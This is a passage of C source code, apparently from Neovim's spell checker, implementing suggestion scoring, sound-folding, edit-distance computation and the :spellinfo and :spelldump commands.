rescore_one(suginfo_T *su, suggest_T *stp) { slang_T *slang = stp->st_slang; char_u sal_badword[MAXWLEN]; char_u *p; // Only rescore suggestions that have no sal score yet and do have a // language. if (slang != NULL && !GA_EMPTY(&slang->sl_sal) && !stp->st_had_bonus) { if (slang == su->su_sallang) { p = su->su_sal_badword; } else { spell_soundfold(slang, su->su_fbadword, true, sal_badword); p = sal_badword; } stp->st_altscore = stp_sal_score(stp, su, slang, p); if (stp->st_altscore == SCORE_MAXMAX) { stp->st_altscore = SCORE_BIG; } stp->st_score = RESCORE(stp->st_score, stp->st_altscore); stp->st_had_bonus = true; } } // Function given to qsort() to sort the suggestions on st_score. // First on "st_score", then "st_altscore" then alphabetically. static int sug_compare(const void *s1, const void *s2) { suggest_T *p1 = (suggest_T *)s1; suggest_T *p2 = (suggest_T *)s2; int n = p1->st_score - p2->st_score; if (n == 0) { n = p1->st_altscore - p2->st_altscore; if (n == 0) { n = STRICMP(p1->st_word, p2->st_word); } } return n; } /// Cleanup the suggestions: /// - Sort on score. /// - Remove words that won't be displayed. /// /// @param keep nr of suggestions to keep /// /// @return the maximum score in the list or "maxscore" unmodified. static int cleanup_suggestions(garray_T *gap, int maxscore, int keep) FUNC_ATTR_NONNULL_ALL { if (gap->ga_len > 0) { // Sort the list. qsort(gap->ga_data, (size_t)gap->ga_len, sizeof(suggest_T), sug_compare); // Truncate the list to the number of suggestions that will be displayed. if (gap->ga_len > keep) { suggest_T *const stp = &SUG(*gap, 0); for (int i = keep; i < gap->ga_len; i++) { xfree(stp[i].st_word); } gap->ga_len = keep; if (keep >= 1) { return stp[keep - 1].st_score; } } } return maxscore; } /// Soundfold a string, for soundfold() /// /// @param[in] word Word to soundfold. /// /// @return [allocated] soundfolded string or NULL in case of error. May return /// copy of the input string if soundfolding is not /// supported by any of the languages in &spellang. char *eval_soundfold(const char *const word) FUNC_ATTR_WARN_UNUSED_RESULT FUNC_ATTR_MALLOC FUNC_ATTR_NONNULL_ALL { if (curwin->w_p_spell && *curwin->w_s->b_p_spl != NUL) { // Use the sound-folding of the first language that supports it. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; lpi++) { langp_T *const lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); if (!GA_EMPTY(&lp->lp_slang->sl_sal)) { // soundfold the word char_u sound[MAXWLEN]; spell_soundfold(lp->lp_slang, (char_u *)word, false, sound); return xstrdup((const char *)sound); } } } // No language with sound folding, return word as-is. return xstrdup(word); } /// Turn "inword" into its sound-a-like equivalent in "res[MAXWLEN]". /// /// There are many ways to turn a word into a sound-a-like representation. The /// oldest is Soundex (1918!). A nice overview can be found in "Approximate /// swedish name matching - survey and test of different algorithms" by Klas /// Erikson. /// /// We support two methods: /// 1. SOFOFROM/SOFOTO do a simple character mapping. /// 2. SAL items define a more advanced sound-folding (and much slower). /// /// @param[in] slang /// @param[in] inword word to soundfold /// @param[in] folded whether inword is already case-folded /// @param[in,out] res destination for soundfolded word void spell_soundfold(slang_T *slang, char_u *inword, bool folded, char_u *res) { char_u fword[MAXWLEN]; char_u *word; if (slang->sl_sofo) { // SOFOFROM and SOFOTO used spell_soundfold_sofo(slang, inword, res); } else { // SAL items used. Requires the word to be case-folded. if (folded) { word = inword; } else { (void)spell_casefold(curwin, inword, (int)STRLEN(inword), fword, MAXWLEN); word = fword; } spell_soundfold_wsal(slang, word, res); } } // Perform sound folding of "inword" into "res" according to SOFOFROM and // SOFOTO lines. static void spell_soundfold_sofo(slang_T *slang, char_u *inword, char_u *res) { int ri = 0; int prevc = 0; // The sl_sal_first[] table contains the translation for chars up to // 255, sl_sal the rest. for (char_u *s = inword; *s != NUL;) { int c = mb_cptr2char_adv((const char_u **)&s); if (utf_class(c) == 0) { c = ' '; } else if (c < 256) { c = slang->sl_sal_first[c]; } else { int *ip = ((int **)slang->sl_sal.ga_data)[c & 0xff]; if (ip == NULL) { // empty list, can't match c = NUL; } else { for (;;) { // find "c" in the list if (*ip == 0) { // not found c = NUL; break; } if (*ip == c) { // match! c = ip[1]; break; } ip += 2; } } } if (c != NUL && c != prevc) { ri += utf_char2bytes(c, res + ri); if (ri + MB_MAXBYTES > MAXWLEN) { break; } prevc = c; } } res[ri] = NUL; } // Turn "inword" into its sound-a-like equivalent in "res[MAXWLEN]". // Multi-byte version of spell_soundfold(). static void spell_soundfold_wsal(slang_T *slang, char_u *inword, char_u *res) { salitem_T *smp = (salitem_T *)slang->sl_sal.ga_data; int word[MAXWLEN] = { 0 }; int wres[MAXWLEN] = { 0 }; int l; int *ws; int *pf; int i, j, z; int reslen; int n, k = 0; int z0; int k0; int n0; int c; int pri; int p0 = -333; int c0; bool did_white = false; int wordlen; // Convert the multi-byte string to a wide-character string. // Remove accents, if wanted. We actually remove all non-word characters. // But keep white space. wordlen = 0; for (const char_u *s = inword; *s != NUL;) { const char_u *t = s; c = mb_cptr2char_adv(&s); if (slang->sl_rem_accents) { if (utf_class(c) == 0) { if (did_white) { continue; } c = ' '; did_white = true; } else { did_white = false; if (!spell_iswordp_nmw(t, curwin)) { continue; } } } word[wordlen++] = c; } word[wordlen] = NUL; // This algorithm comes from Aspell phonet.cpp. // Converted from C++ to C. Added support for multi-byte chars. // Changed to keep spaces. i = reslen = z = 0; while ((c = word[i]) != NUL) { // Start with the first rule that has the character in the word. n = slang->sl_sal_first[c & 0xff]; z0 = 0; if (n >= 0) { // Check all rules for the same index byte. // If c is 0x300 need extra check for the end of the array, as // (c & 0xff) is NUL. for (; ((ws = smp[n].sm_lead_w)[0] & 0xff) == (c & 0xff) && ws[0] != NUL; ++n) { // Quickly skip entries that don't match the word. Most // entries are less than three chars, optimize for that. if (c != ws[0]) { continue; } k = smp[n].sm_leadlen; if (k > 1) { if (word[i + 1] != ws[1]) { continue; } if (k > 2) { for (j = 2; j < k; ++j) { if (word[i + j] != ws[j]) { break; } } if (j < k) { continue; } } } if ((pf = smp[n].sm_oneof_w) != NULL) { // Check for match with one of the chars in "sm_oneof". while (*pf != NUL && *pf != word[i + k]) { ++pf; } if (*pf == NUL) { continue; } ++k; } char_u *s = smp[n].sm_rules; pri = 5; // default priority p0 = *s; k0 = k; while (*s == '-' && k > 1) { k--; s++; } if (*s == '<') { s++; } if (ascii_isdigit(*s)) { // determine priority pri = *s - '0'; s++; } if (*s == '^' && *(s + 1) == '^') { s++; } if (*s == NUL || (*s == '^' && (i == 0 || !(word[i - 1] == ' ' || spell_iswordp_w(word + i - 1, curwin))) && (*(s + 1) != '$' || (!spell_iswordp_w(word + i + k0, curwin)))) || (*s == '$' && i > 0 && spell_iswordp_w(word + i - 1, curwin) && (!spell_iswordp_w(word + i + k0, curwin)))) { // search for followup rules, if: // followup and k > 1 and NO '-' in searchstring c0 = word[i + k - 1]; n0 = slang->sl_sal_first[c0 & 0xff]; if (slang->sl_followup && k > 1 && n0 >= 0 && p0 != '-' && word[i + k] != NUL) { // Test follow-up rule for "word[i + k]"; loop over // all entries with the same index byte. for (; ((ws = smp[n0].sm_lead_w)[0] & 0xff) == (c0 & 0xff); ++n0) { // Quickly skip entries that don't match the word. if (c0 != ws[0]) { continue; } k0 = smp[n0].sm_leadlen; if (k0 > 1) { if (word[i + k] != ws[1]) { continue; } if (k0 > 2) { pf = word + i + k + 1; for (j = 2; j < k0; ++j) { if (*pf++ != ws[j]) { break; } } if (j < k0) { continue; } } } k0 += k - 1; if ((pf = smp[n0].sm_oneof_w) != NULL) { // Check for match with one of the chars in // "sm_oneof". while (*pf != NUL && *pf != word[i + k0]) { ++pf; } if (*pf == NUL) { continue; } ++k0; } p0 = 5; s = smp[n0].sm_rules; while (*s == '-') { // "k0" gets NOT reduced because // "if (k0 == k)" s++; } if (*s == '<') { s++; } if (ascii_isdigit(*s)) { p0 = *s - '0'; s++; } if (*s == NUL // *s == '^' cuts || (*s == '$' && !spell_iswordp_w(word + i + k0, curwin))) { if (k0 == k) { // this is just a piece of the string continue; } if (p0 < pri) { // priority too low continue; } // rule fits; stop search break; } } if (p0 >= pri && (smp[n0].sm_lead_w[0] & 0xff) == (c0 & 0xff)) { continue; } } // replace string ws = smp[n].sm_to_w; s = smp[n].sm_rules; p0 = (vim_strchr(s, '<') != NULL) ? 1 : 0; if (p0 == 1 && z == 0) { // rule with '<' is used if (reslen > 0 && ws != NULL && *ws != NUL && (wres[reslen - 1] == c || wres[reslen - 1] == *ws)) { reslen--; } z0 = 1; z = 1; k0 = 0; if (ws != NULL) { while (*ws != NUL && word[i + k0] != NUL) { word[i + k0] = *ws; k0++; ws++; } } if (k > k0) { memmove(word + i + k0, word + i + k, sizeof(int) * (wordlen - (i + k) + 1)); } // new "actual letter" c = word[i]; } else { // no '<' rule used i += k - 1; z = 0; if (ws != NULL) { while (*ws != NUL && ws[1] != NUL && reslen < MAXWLEN) { if (reslen == 0 || wres[reslen - 1] != *ws) { wres[reslen++] = *ws; } ws++; } } // new "actual letter" if (ws == NULL) { c = NUL; } else { c = *ws; } if (strstr((char *)s, "^^") != NULL) { if (c != NUL) { wres[reslen++] = c; } memmove(word, word + i + 1, sizeof(int) * (wordlen - (i + 1) + 1)); i = 0; z0 = 1; } } break; } } } else if (ascii_iswhite(c)) { c = ' '; k = 1; } if (z0 == 0) { if (k && !p0 && reslen < MAXWLEN && c != NUL && (!slang->sl_collapse || reslen == 0 || wres[reslen - 1] != c)) { // condense only double letters wres[reslen++] = c; } i++; z = 0; k = 0; } } // Convert wide characters in "wres" to a multi-byte string in "res". l = 0; for (n = 0; n < reslen; n++) { l += utf_char2bytes(wres[n], res + l); if (l + MB_MAXBYTES > MAXWLEN) { break; } } res[l] = NUL; } /// Compute a score for two sound-a-like words. /// This permits up to two inserts/deletes/swaps/etc. to keep things fast. /// Instead of a generic loop we write out the code. That keeps it fast by /// avoiding checks that will not be possible. /// /// @param goodstart sound-folded good word /// @param badstart sound-folded bad word static int soundalike_score(char_u *goodstart, char_u *badstart) { char_u *goodsound = goodstart; char_u *badsound = badstart; int goodlen; int badlen; int n; char_u *pl, *ps; char_u *pl2, *ps2; int score = 0; // Adding/inserting "*" at the start (word starts with vowel) shouldn't be // counted so much, vowels in the middle of the word aren't counted at all. if ((*badsound == '*' || *goodsound == '*') && *badsound != *goodsound) { if ((badsound[0] == NUL && goodsound[1] == NUL) || (goodsound[0] == NUL && badsound[1] == NUL)) { // changing word with vowel to word without a sound return SCORE_DEL; } if (badsound[0] == NUL || goodsound[0] == NUL) { // more than two changes return SCORE_MAXMAX; } if (badsound[1] == goodsound[1] || (badsound[1] != NUL && goodsound[1] != NUL && badsound[2] == goodsound[2])) { // handle like a substitute } else { score = 2 * SCORE_DEL / 3; if (*badsound == '*') { ++badsound; } else { ++goodsound; } } } goodlen = (int)STRLEN(goodsound); badlen = (int)STRLEN(badsound); // Return quickly if the lengths are too different to be fixed by two // changes. n = goodlen - badlen; if (n < -2 || n > 2) { return SCORE_MAXMAX; } if (n > 0) { pl = goodsound; // goodsound is longest ps = badsound; } else { pl = badsound; // badsound is longest ps = goodsound; } // Skip over the identical part. while (*pl == *ps && *pl != NUL) { ++pl; ++ps; } switch (n) { case -2: case 2: // Must delete two characters from "pl". ++pl; // first delete while (*pl == *ps) { ++pl; ++ps; } // strings must be equal after second delete if (STRCMP(pl + 1, ps) == 0) { return score + SCORE_DEL * 2; } // Failed to compare. break; case -1: case 1: // Minimal one delete from "pl" required. // 1: delete pl2 = pl + 1; ps2 = ps; while (*pl2 == *ps2) { if (*pl2 == NUL) { // reached the end return score + SCORE_DEL; } ++pl2; ++ps2; } // 2: delete then swap, then rest must be equal if (pl2[0] == ps2[1] && pl2[1] == ps2[0] && STRCMP(pl2 + 2, ps2 + 2) == 0) { return score + SCORE_DEL + SCORE_SWAP; } // 3: delete then substitute, then the rest must be equal if (STRCMP(pl2 + 1, ps2 + 1) == 0) { return score + SCORE_DEL + SCORE_SUBST; } // 4: first swap then delete if (pl[0] == ps[1] && pl[1] == ps[0]) { pl2 = pl + 2; // swap, skip two chars ps2 = ps + 2; while (*pl2 == *ps2) { ++pl2; ++ps2; } // delete a char and then strings must be equal if (STRCMP(pl2 + 1, ps2) == 0) { return score + SCORE_SWAP + SCORE_DEL; } } // 5: first substitute then delete pl2 = pl + 1; // substitute, skip one char ps2 = ps + 1; while (*pl2 == *ps2) { ++pl2; ++ps2; } // delete a char and then strings must be equal if (STRCMP(pl2 + 1, ps2) == 0) { return score + SCORE_SUBST + SCORE_DEL; } // Failed to compare. break; case 0: // Lengths are equal, thus changes must result in same length: An // insert is only possible in combination with a delete. // 1: check if for identical strings if (*pl == NUL) { return score; } // 2: swap if (pl[0] == ps[1] && pl[1] == ps[0]) { pl2 = pl + 2; // swap, skip two chars ps2 = ps + 2; while (*pl2 == *ps2) { if (*pl2 == NUL) { // reached the end return score + SCORE_SWAP; } ++pl2; ++ps2; } // 3: swap and swap again if (pl2[0] == ps2[1] && pl2[1] == ps2[0] && STRCMP(pl2 + 2, ps2 + 2) == 0) { return score + SCORE_SWAP + SCORE_SWAP; } // 4: swap and substitute if (STRCMP(pl2 + 1, ps2 + 1) == 0) { return score + SCORE_SWAP + SCORE_SUBST; } } // 5: substitute pl2 = pl + 1; ps2 = ps + 1; while (*pl2 == *ps2) { if (*pl2 == NUL) { // reached the end return score + SCORE_SUBST; } ++pl2; ++ps2; } // 6: substitute and swap if (pl2[0] == ps2[1] && pl2[1] == ps2[0] && STRCMP(pl2 + 2, ps2 + 2) == 0) { return score + SCORE_SUBST + SCORE_SWAP; } // 7: substitute and substitute if (STRCMP(pl2 + 1, ps2 + 1) == 0) { return score + SCORE_SUBST + SCORE_SUBST; } // 8: insert then delete pl2 = pl; ps2 = ps + 1; while (*pl2 == *ps2) { ++pl2; ++ps2; } if (STRCMP(pl2 + 1, ps2) == 0) { return score + SCORE_INS + SCORE_DEL; } // 9: delete then insert pl2 = pl + 1; ps2 = ps; while (*pl2 == *ps2) { ++pl2; ++ps2; } if (STRCMP(pl2, ps2 + 1) == 0) { return score + SCORE_INS + SCORE_DEL; } // Failed to compare. break; } return SCORE_MAXMAX; } // Compute the "edit distance" to turn "badword" into "goodword". The less // deletes/inserts/substitutes/swaps are required the lower the score. // // The algorithm is described by Du and Chang, 1992. // The implementation of the algorithm comes from Aspell editdist.cpp, // edit_distance(). It has been converted from C++ to C and modified to // support multi-byte characters. static int spell_edit_score(slang_T *slang, char_u *badword, char_u *goodword) { int *cnt; int j, i; int t; int bc, gc; int pbc, pgc; int wbadword[MAXWLEN]; int wgoodword[MAXWLEN]; // Lengths with NUL. int badlen; int goodlen; { // Get the characters from the multi-byte strings and put them in an // int array for easy access. badlen = 0; for (const char_u *p = badword; *p != NUL;) { wbadword[badlen++] = mb_cptr2char_adv(&p); } wbadword[badlen++] = 0; goodlen = 0; for (const char_u *p = goodword; *p != NUL;) { wgoodword[goodlen++] = mb_cptr2char_adv(&p); } wgoodword[goodlen++] = 0; } // We use "cnt" as an array: CNT(badword_idx, goodword_idx). #define CNT(a, b) cnt[(a) + (b) * (badlen + 1)] cnt = xmalloc(sizeof(int) * (badlen + 1) * (goodlen + 1)); CNT(0, 0) = 0; for (j = 1; j <= goodlen; ++j) { CNT(0, j) = CNT(0, j - 1) + SCORE_INS; } for (i = 1; i <= badlen; ++i) { CNT(i, 0) = CNT(i - 1, 0) + SCORE_DEL; for (j = 1; j <= goodlen; j++) { bc = wbadword[i - 1]; gc = wgoodword[j - 1]; if (bc == gc) { CNT(i, j) = CNT(i - 1, j - 1); } else { // Use a better score when there is only a case difference. if (SPELL_TOFOLD(bc) == SPELL_TOFOLD(gc)) { CNT(i, j) = SCORE_ICASE + CNT(i - 1, j - 1); } else { // For a similar character use SCORE_SIMILAR. if (slang != NULL && slang->sl_has_map && similar_chars(slang, gc, bc)) { CNT(i, j) = SCORE_SIMILAR + CNT(i - 1, j - 1); } else { CNT(i, j) = SCORE_SUBST + CNT(i - 1, j - 1); } } if (i > 1 && j > 1) { pbc = wbadword[i - 2]; pgc = wgoodword[j - 2]; if (bc == pgc && pbc == gc) { t = SCORE_SWAP + CNT(i - 2, j - 2); if (t < CNT(i, j)) { CNT(i, j) = t; } } } t = SCORE_DEL + CNT(i - 1, j); if (t < CNT(i, j)) { CNT(i, j) = t; } t = SCORE_INS + CNT(i, j - 1); if (t < CNT(i, j)) { CNT(i, j) = t; } } } } i = CNT(badlen - 1, goodlen - 1); xfree(cnt); return i; } // Like spell_edit_score(), but with a limit on the score to make it faster. // May return SCORE_MAXMAX when the score is higher than "limit". // // This uses a stack for the edits still to be tried. // The idea comes from Aspell leditdist.cpp. Rewritten in C and added support // for multi-byte characters. static int spell_edit_score_limit(slang_T *slang, char_u *badword, char_u *goodword, int limit) { return spell_edit_score_limit_w(slang, badword, goodword, limit); } // Multi-byte version of spell_edit_score_limit(). // Keep it in sync with the above! static int spell_edit_score_limit_w(slang_T *slang, char_u *badword, char_u *goodword, int limit) { limitscore_T stack[10]; // allow for over 3 * 2 edits int stackidx; int bi, gi; int bi2, gi2; int bc, gc; int score; int score_off; int minscore; int round; int wbadword[MAXWLEN]; int wgoodword[MAXWLEN]; // Get the characters from the multi-byte strings and put them in an // int array for easy access. bi = 0; for (const char_u *p = badword; *p != NUL;) { wbadword[bi++] = mb_cptr2char_adv(&p); } wbadword[bi++] = 0; gi = 0; for (const char_u *p = goodword; *p != NUL;) { wgoodword[gi++] = mb_cptr2char_adv(&p); } wgoodword[gi++] = 0; // The idea is to go from start to end over the words. So long as // characters are equal just continue, this always gives the lowest score. // When there is a difference try several alternatives. Each alternative // increases "score" for the edit distance. Some of the alternatives are // pushed unto a stack and tried later, some are tried right away. At the // end of the word the score for one alternative is known. The lowest // possible score is stored in "minscore". stackidx = 0; bi = 0; gi = 0; score = 0; minscore = limit + 1; for (;;) { // Skip over an equal part, score remains the same. for (;;) { bc = wbadword[bi]; gc = wgoodword[gi]; if (bc != gc) { // stop at a char that's different break; } if (bc == NUL) { // both words end if (score < minscore) { minscore = score; } goto pop; // do next alternative } ++bi; ++gi; } if (gc == NUL) { // goodword ends, delete badword chars do { if ((score += SCORE_DEL) >= minscore) { goto pop; // do next alternative } } while (wbadword[++bi] != NUL); minscore = score; } else if (bc == NUL) { // badword ends, insert badword chars do { if ((score += SCORE_INS) >= minscore) { goto pop; // do next alternative } } while (wgoodword[++gi] != NUL); minscore = score; } else { // both words continue // If not close to the limit, perform a change. Only try changes // that may lead to a lower score than "minscore". // round 0: try deleting a char from badword // round 1: try inserting a char in badword for (round = 0; round <= 1; ++round) { score_off = score + (round == 0 ? SCORE_DEL : SCORE_INS); if (score_off < minscore) { if (score_off + SCORE_EDIT_MIN >= minscore) { // Near the limit, rest of the words must match. We // can check that right now, no need to push an item // onto the stack. bi2 = bi + 1 - round; gi2 = gi + round; while (wgoodword[gi2] == wbadword[bi2]) { if (wgoodword[gi2] == NUL) { minscore = score_off; break; } ++bi2; ++gi2; } } else { // try deleting a character from badword later stack[stackidx].badi = bi + 1 - round; stack[stackidx].goodi = gi + round; stack[stackidx].score = score_off; ++stackidx; } } } if (score + SCORE_SWAP < minscore) { // If swapping two characters makes a match then the // substitution is more expensive, thus there is no need to // try both. if (gc == wbadword[bi + 1] && bc == wgoodword[gi + 1]) { // Swap two characters, that is: skip them. gi += 2; bi += 2; score += SCORE_SWAP; continue; } } // Substitute one character for another which is the same // thing as deleting a character from both goodword and badword. // Use a better score when there is only a case difference. if (SPELL_TOFOLD(bc) == SPELL_TOFOLD(gc)) { score += SCORE_ICASE; } else { // For a similar character use SCORE_SIMILAR. if (slang != NULL && slang->sl_has_map && similar_chars(slang, gc, bc)) { score += SCORE_SIMILAR; } else { score += SCORE_SUBST; } } if (score < minscore) { // Do the substitution. ++gi; ++bi; continue; } } pop: // Get here to try the next alternative, pop it from the stack. if (stackidx == 0) { // stack is empty, finished break; } // pop an item from the stack --stackidx; gi = stack[stackidx].goodi; bi = stack[stackidx].badi; score = stack[stackidx].score; } // When the score goes over "limit" it may actually be much higher. // Return a very large number to avoid going below the limit when giving a // bonus. if (minscore > limit) { return SCORE_MAXMAX; } return minscore; } // ":spellinfo" void ex_spellinfo(exarg_T *eap) { if (no_spell_checking(curwin)) { return; } msg_start(); for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len && !got_int; lpi++) { langp_T *const lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); msg_puts("file: "); msg_puts((const char *)lp->lp_slang->sl_fname); msg_putchar('\n'); const char *const p = (const char *)lp->lp_slang->sl_info; if (p != NULL) { msg_puts(p); msg_putchar('\n'); } } msg_end(); } #define DUMPFLAG_KEEPCASE 1 // round 2: keep-case tree #define DUMPFLAG_COUNT 2 // include word count #define DUMPFLAG_ICASE 4 // ignore case when finding matches #define DUMPFLAG_ONECAP 8 // pattern starts with capital #define DUMPFLAG_ALLCAP 16 // pattern is all capitals // ":spelldump" void ex_spelldump(exarg_T *eap) { char_u *spl; long dummy; if (no_spell_checking(curwin)) { return; } get_option_value("spl", &dummy, &spl, OPT_LOCAL); // Create a new empty buffer in a new window. do_cmdline_cmd("new"); // enable spelling locally in the new window set_option_value("spell", true, "", OPT_LOCAL); set_option_value("spl", dummy, (char *)spl, OPT_LOCAL); xfree(spl); if (!buf_is_empty(curbuf)) { return; } spell_dump_compl(NULL, 0, NULL, eap->forceit ? DUMPFLAG_COUNT : 0); // Delete the empty line that we started with. if (curbuf->b_ml.ml_line_count > 1) { ml_delete(curbuf->b_ml.ml_line_count, false); } redraw_later(curwin, NOT_VALID); } /// Go through all possible words and: /// 1. When "pat" is NULL: dump a list of all words in the current buffer. /// "ic" and "dir" are not used. /// 2. When "pat" is not NULL: add matching words to insert mode completion. /// /// @param pat leading part of the word /// @param ic ignore case /// @param dir direction for adding matches /// @param dumpflags_arg DUMPFLAG_* void spell_dump_compl(char_u *pat, int ic, Direction *dir, int dumpflags_arg) { langp_T *lp; slang_T *slang; idx_T arridx[MAXWLEN]; int curi[MAXWLEN]; char_u word[MAXWLEN]; int c; char_u *byts; idx_T *idxs; linenr_T lnum = 0; int round; int depth; int n; int flags; char_u *region_names = NULL; // region names being used bool do_region = true; // dump region names and numbers char_u *p; int dumpflags = dumpflags_arg; int patlen; // When ignoring case or when the pattern starts with capital pass this on // to dump_word(). if (pat != NULL) { if (ic) { dumpflags |= DUMPFLAG_ICASE; } else { n = captype(pat, NULL); if (n == WF_ONECAP) { dumpflags |= DUMPFLAG_ONECAP; } else if (n == WF_ALLCAP && (int)STRLEN(pat) > utfc_ptr2len(pat)) { dumpflags |= DUMPFLAG_ALLCAP; } } } // Find out if we can support regions: All languages must support the same // regions or none at all. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); p = lp->lp_slang->sl_regions; if (p[0] != 0) { if (region_names == NULL) { // first language with regions region_names = p; } else if (STRCMP(region_names, p) != 0) { do_region = false; // region names are different break; } } } if (do_region && region_names != NULL) { if (pat == NULL) { vim_snprintf((char *)IObuff, IOSIZE, "/regions=%s", region_names); ml_append(lnum++, IObuff, (colnr_T)0, false); } } else { do_region = false; } // Loop over all files loaded for the entries in 'spelllang'. for (int lpi = 0; lpi < curwin->w_s->b_langp.ga_len; ++lpi) { lp = LANGP_ENTRY(curwin->w_s->b_langp, lpi); slang = lp->lp_slang; if (slang->sl_fbyts == NULL) { // reloading failed continue; } if (pat == NULL) { vim_snprintf((char *)IObuff, IOSIZE, "# file: %s", slang->sl_fname); ml_append(lnum++, IObuff, (colnr_T)0, false); } // When matching with a pattern and there are no prefixes only use // parts of the tree that match "pat". if (pat != NULL && slang->sl_pbyts == NULL) { patlen = (int)STRLEN(pat); } else { patlen = -1; } // round 1: case-folded tree // round 2: keep-case tree for (round = 1; round <= 2; ++round) { if (round == 1) { dumpflags &= ~DUMPFLAG_KEEPCASE; byts = slang->sl_fbyts; idxs = slang->sl_fidxs; } else { dumpflags |= DUMPFLAG_KEEPCASE; byts = slang->sl_kbyts; idxs = slang->sl_kidxs; } if (byts == NULL) { continue; // array is empty } depth = 0; arridx[0] = 0; curi[0] = 1; while (depth >= 0 && !got_int && (pat == NULL || !compl_interrupted)) { if (curi[depth] > byts[arridx[depth]]) { // Done all bytes at this node, go up one level. --depth; line_breakcheck(); ins_compl_check_keys(50, false); } else { // Do one more byte at this node. n = arridx[depth] + curi[depth]; ++curi[depth]; c = byts[n]; if (c == 0) { // End of word, deal with the word. // Don't use keep-case words in the fold-case tree, // they will appear in the keep-case tree. // Only use the word when the region matches. flags = (int)idxs[n]; if ((round == 2 || (flags & WF_KEEPCAP) == 0) && (flags & WF_NEEDCOMP) == 0 && (do_region || (flags & WF_REGION) == 0 || (((unsigned)flags >> 16) & lp->lp_region) != 0)) { word[depth] = NUL; if (!do_region) { flags &= ~WF_REGION; } // Dump the basic word if there is no prefix or // when it's the first one. c = (unsigned)flags >> 24; if (c == 0 || curi[depth] == 2) { dump_word(slang, word, pat, dir, dumpflags, flags, lnum); if (pat == NULL) { ++lnum; } } // Apply the prefix, if there is one. if (c != 0) { lnum = dump_prefixes(slang, word, pat, dir, dumpflags, flags, lnum); } } } else { // Normal char, go one level deeper. word[depth++] = c; arridx[depth] = idxs[n]; curi[depth] = 1; // Check if this character matches with the pattern. // If not skip the whole tree below it. // Always ignore case here, dump_word() will check // proper case later. This isn't exactly right when // length changes for multi-byte characters with // ignore case... assert(depth >= 0); if (depth <= patlen && mb_strnicmp(word, pat, (size_t)depth) != 0) { --depth; } } } } } } } // Dumps one word: apply case modifications and append a line to the buffer. // When "lnum" is zero add insert mode completion. static void dump_word(slang_T *slang, char_u *word, char_u *pat, Direction *dir, int dumpflags, int wordflags, linenr_T lnum) { bool keepcap = false; char_u *p; char_u *tw; char_u cword[MAXWLEN]; char_u badword[MAXWLEN + 10]; int i; int flags = wordflags; if (dumpflags & DUMPFLAG_ONECAP) { flags |= WF_ONECAP; } if (dumpflags & DUMPFLAG_ALLCAP) { flags |= WF_ALLCAP; } if ((dumpflags & DUMPFLAG_KEEPCASE) == 0 && (flags & WF_CAPMASK) != 0) { // Need to fix case according to "flags". make_case_word(word, cword, flags); p = cword; } else { p = word; if ((dumpflags & DUMPFLAG_KEEPCASE) && ((captype(word, NULL) & WF_KEEPCAP) == 0 || (flags & WF_FIXCAP) != 0)) { keepcap = true; } } tw = p; if (pat == NULL) { // Add flags and regions after a slash. if ((flags & (WF_BANNED | WF_RARE | WF_REGION)) || keepcap) { STRCPY(badword, p); STRCAT(badword, "/"); if (keepcap) { STRCAT(badword, "="); } if (flags & WF_BANNED) { STRCAT(badword, "!"); } else if (flags & WF_RARE) { STRCAT(badword, "?"); } if (flags & WF_REGION) { for (i = 0; i < 7; i++) { if (flags & (0x10000 << i)) { const size_t badword_len = STRLEN(badword); snprintf((char *)badword + badword_len, sizeof(badword) - badword_len, "%d", i + 1); } } } p = badword; } if (dumpflags & DUMPFLAG_COUNT) { hashitem_T *hi; // Include the word count for ":spelldump!". hi = hash_find(&slang->sl_wordcount, tw); if (!HASHITEM_EMPTY(hi)) { vim_snprintf((char *)IObuff, IOSIZE, "%s\t%d", tw, HI2WC(hi)->wc_count); p = IObuff; } } ml_append(lnum, p, (colnr_T)0, false); } else if (((dumpflags & DUMPFLAG_ICASE) ? mb_strnicmp(p, pat, STRLEN(pat)) == 0 : STRNCMP(p, pat, STRLEN(pat)) == 0) && ins_compl_add_infercase(p, (int)STRLEN(p), p_ic, NULL, *dir, false) == OK) { // if dir was BACKWARD then honor it just once *dir = FORWARD; } } /// For ":spelldump": Find matching prefixes for "word". Prepend each to /// "word" and append a line to the buffer. /// When "lnum" is zero add insert mode completion. /// /// @param word case-folded word /// @param flags flags with prefix ID /// /// @return the updated line number. static linenr_T dump_prefixes(slang_T *slang, char_u *word, char_u *pat, Direction *dir, int dumpflags, int flags, linenr_T startlnum) { idx_T arridx[MAXWLEN]; int curi[MAXWLEN]; char_u prefix[MAXWLEN]; char_u word_up[MAXWLEN]; bool has_word_up = false; int c; char_u *byts; idx_T *idxs; linenr_T lnum = startlnum; int depth; int n; int len; int i; // If the word starts with a lower-case letter make the word with an // upper-case letter in word_up[]. c = utf_ptr2char(word); if (SPELL_TOUPPER(c) != c) { onecap_copy(word, word_up, true); has_word_up = true; } byts = slang->sl_pbyts; idxs = slang->sl_pidxs; if (byts != NULL) { // array not is empty // Loop over all prefixes, building them byte-by-byte in prefix[]. // When at the end of a prefix check that it supports "flags". depth = 0; arridx[0] = 0; curi[0] = 1; while (depth >= 0 && !got_int) { n = arridx[depth]; len = byts[n]; if (curi[depth] > len) { // Done all bytes at this node, go up one level. --depth; line_breakcheck(); } else { // Do one more byte at this node. n += curi[depth]; ++curi[depth]; c = byts[n]; if (c == 0) { // End of prefix, find out how many IDs there are. for (i = 1; i < len; ++i) { if (byts[n + i] != 0) { break; } } curi[depth] += i - 1; c = valid_word_prefix(i, n, flags, word, slang, false); if (c != 0) { STRLCPY(prefix + depth, word, MAXWLEN - depth); dump_word(slang, prefix, pat, dir, dumpflags, (c & WF_RAREPFX) ? (flags | WF_RARE) : flags, lnum); if (lnum != 0) { ++lnum; } } // Check for prefix that matches the word when the // first letter is upper-case, but only if the prefix has // a condition. if (has_word_up) { c = valid_word_prefix(i, n, flags, word_up, slang, true); if (c != 0) { STRLCPY(prefix + depth, word_up, MAXWLEN - depth); dump_word(slang, prefix, pat, dir, dumpflags, (c & WF_RAREPFX) ? (flags | WF_RARE) : flags, lnum); if (lnum != 0) { ++lnum; } } } } else { // Normal char, go one level deeper. prefix[depth++] = c; arridx[depth] = idxs[n]; curi[depth] = 1; } } } } return lnum; } // Move "p" to the end of word "start". // Uses the spell-checking word characters. char_u *spell_to_word_end(char_u 